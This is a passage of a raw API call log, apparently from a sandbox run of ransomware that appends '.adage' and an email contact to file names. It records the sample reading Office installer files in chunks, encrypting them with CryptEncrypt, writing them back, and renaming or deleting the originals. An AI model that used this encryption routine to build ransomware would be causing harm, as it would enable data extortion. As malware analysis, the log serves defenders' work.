liDistanceToMove=0x32038d, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0051.792] ReadFile (in: hFile=0x180, lpBuffer=0x35b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35b0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0051.808] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x920aa8, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0051.808] ReadFile (in: hFile=0x180, lpBuffer=0x35f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35f0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0051.818] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe40*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afeac | out: phKey=0x31afeac*=0x4d5360) returned 1 [0051.818] CryptSetKeyParam (hKey=0x4d5360, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0051.818] CryptEncrypt (in: hKey=0x4d5360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0050) returned 1 [0051.826] CryptDestroyKey (hKey=0x4d5360) returned 1 [0051.826] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe88 | out: lpNewFilePointer=0x0) returned 1 [0051.826] WriteFile (in: hFile=0x180, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x31afe98, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afe98*=0xc0102, lpOverlapped=0x0) returned 1 [0052.030] SetEndOfFile (hFile=0x180) returned 1 [0052.031] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x920aa8, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0052.031] WriteFile (in: hFile=0x180, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0052.033] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x32038d, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0052.033] WriteFile (in: hFile=0x180, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0052.035] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0052.035] WriteFile (in: hFile=0x180, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0052.037] CloseHandle (hObject=0x180) returned 1 [0054.718] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0054.718] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.720] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=1274456) returned 1 [0054.721] CloseHandle (hObject=0x194) returned 1 [0054.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0054.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\PidGenX.dll.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\pidgenx.dll.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.721] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.721] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe80 | out: lpNewFilePointer=0x0) returned 1 [0054.721] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe80 | out: lpNewFilePointer=0x0) returned 1 [0054.721] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\PidGenX.dll.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\pidgenx.dll.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.832] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe38*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afe94 | out: phKey=0x31afe94*=0x4d88a0) returned 1 [0054.832] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0054.832] ReadFile (in: hFile=0x194, lpBuffer=0x3570020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x31afebc, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesRead=0x31afebc*=0x110100, lpOverlapped=0x0) returned 1 [0054.852] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe58*=0x110100, dwBufLen=0x110100 | out: pbData=0x3570020*, pdwDataLen=0x31afe58*=0x110100) returned 1 [0054.862] WriteFile (in: hFile=0x19c, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x31afea0, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afea0*=0x110100, lpOverlapped=0x0) returned 1 [0055.032] ReadFile (in: hFile=0x194, lpBuffer=0x3570020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x31afebc, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesRead=0x31afebc*=0x27158, lpOverlapped=0x0) returned 1 [0055.033] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe58*=0x27160, dwBufLen=0x27160 | out: pbData=0x3570020*, pdwDataLen=0x31afe58*=0x27160) returned 1 [0055.035] WriteFile (in: hFile=0x19c, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0x27160, lpNumberOfBytesWritten=0x31afea0, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afea0*=0x27160, lpOverlapped=0x0) returned 1 [0055.037] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe2c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afe98 | out: phKey=0x31afe98*=0x4d8860) returned 1 [0055.037] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0055.037] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe58*=0x40, dwBufLen=0x40 | out: pbData=0x3570020*, pdwDataLen=0x31afe58*=0x40) returned 1 [0055.037] CryptDestroyKey (hKey=0x4d8860) returned 1 [0055.037] WriteFile (in: hFile=0x19c, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x31afea0, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afea0*=0xf2, lpOverlapped=0x0) returned 1 [0055.037] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0055.037] CloseHandle (hObject=0x194) returned 1 [0055.037] CloseHandle (hObject=0x19c) returned 1 [0055.147] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0055.182] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0055.182] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.msi" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.183] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=28983296) returned 1 [0055.183] CloseHandle (hObject=0x19c) returned 1 [0055.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.msi" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.msi")) returned 0x2020 [0055.183] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.msi" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0055.183] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\proplusww.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.183] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0055.183] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0055.183] ReadFile (in: hFile=0x19c, lpBuffer=0x3570058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x3570058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0055.194] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x936aaa, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0055.195] ReadFile (in: hFile=0x19c, lpBuffer=0x35b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35b0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0055.202] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x1b64000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0055.202] ReadFile (in: hFile=0x19c, lpBuffer=0x35f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35f0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0055.218] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe40*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afeac | out: phKey=0x31afeac*=0x4d87e0) returned 1 [0055.218] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0055.219] CryptEncrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0060) returned 1 [0055.228] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0055.228] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe88 | out: lpNewFilePointer=0x0) returned 1 [0055.228] WriteFile (in: hFile=0x19c, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x31afe98, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afe98*=0xc0112, lpOverlapped=0x0) returned 1 [0055.416] SetEndOfFile (hFile=0x19c) returned 1 [0055.416] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x1b64000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0055.417] WriteFile (in: hFile=0x19c, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0055.419] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x936aaa, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0055.419] WriteFile (in: hFile=0x19c, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0055.420] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0055.420] WriteFile (in: hFile=0x19c, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0055.421] CloseHandle (hObject=0x19c) returned 1 [0058.224] SetEvent (hEvent=0x138) returned 1 [0058.225] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0058.225] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPsWW2.cab" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\propsww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0058.226] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=249155271) returned 1 [0058.226] CloseHandle (hObject=0x18c) returned 1 [0058.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPsWW2.cab" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\propsww2.cab")) returned 0x2020 [0058.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPsWW2.cab" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\propsww2.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPsWW2.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\propsww2.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0058.226] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C\\ProPsWW2.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0011-0000-0000-0000000ff1ce}-c\\propsww2.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0058.226] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0058.226] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0058.227] ReadFile (in: hFile=0x18c, lpBuffer=0x3570058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x3570058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0058.234] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x4f344ed, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0058.234] ReadFile (in: hFile=0x18c, lpBuffer=0x35b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35b0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0058.238] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xed5cec7, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0058.239] ReadFile (in: hFile=0x18c, lpBuffer=0x35f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35f0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0058.245] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe40*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afeac | out: phKey=0x31afeac*=0x4d87e0) returned 1 [0058.245] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0058.245] CryptEncrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0060) returned 1 [0058.252] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0058.252] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe88 | out: lpNewFilePointer=0x0) returned 1 [0058.252] WriteFile (in: hFile=0x18c, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x31afe98, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afe98*=0xc0112, lpOverlapped=0x0) returned 1 [0058.459] SetEndOfFile (hFile=0x18c) returned 1 [0058.459] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xed5cec7, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0058.459] WriteFile (in: hFile=0x18c, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0058.461] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x4f344ed, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0058.461] WriteFile (in: hFile=0x18c, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0058.462] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0058.462] WriteFile (in: hFile=0x18c, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0058.463] CloseHandle (hObject=0x18c) returned 1 [0060.592] SetEvent (hEvent=0x138) returned 1 [0060.593] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0060.593] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0060.594] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=2387968) returned 1 [0060.594] CloseHandle (hObject=0x188) returned 1 [0060.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0060.594] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0060.594] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0060.594] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0060.594] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0060.594] ReadFile (in: hFile=0x188, lpBuffer=0x3570058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x3570058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0060.598] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xc2555, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0060.598] ReadFile (in: hFile=0x188, lpBuffer=0x35b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35b0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0060.610] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x207000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0060.610] ReadFile (in: hFile=0x188, lpBuffer=0x35f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35f0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0060.616] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe40*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afeac | out: phKey=0x31afeac*=0x4d86a0) returned 1 [0060.616] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0060.617] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0060) returned 1 [0060.624] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0060.624] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe88 | out: lpNewFilePointer=0x0) returned 1 [0060.624] WriteFile (in: hFile=0x188, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x31afe98, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afe98*=0xc0112, lpOverlapped=0x0) returned 1 [0060.776] SetEndOfFile (hFile=0x188) returned 1 [0060.776] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x207000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0060.776] WriteFile (in: hFile=0x188, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0060.779] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xc2555, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0060.779] WriteFile (in: hFile=0x188, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0060.783] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0060.783] WriteFile (in: hFile=0x188, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, 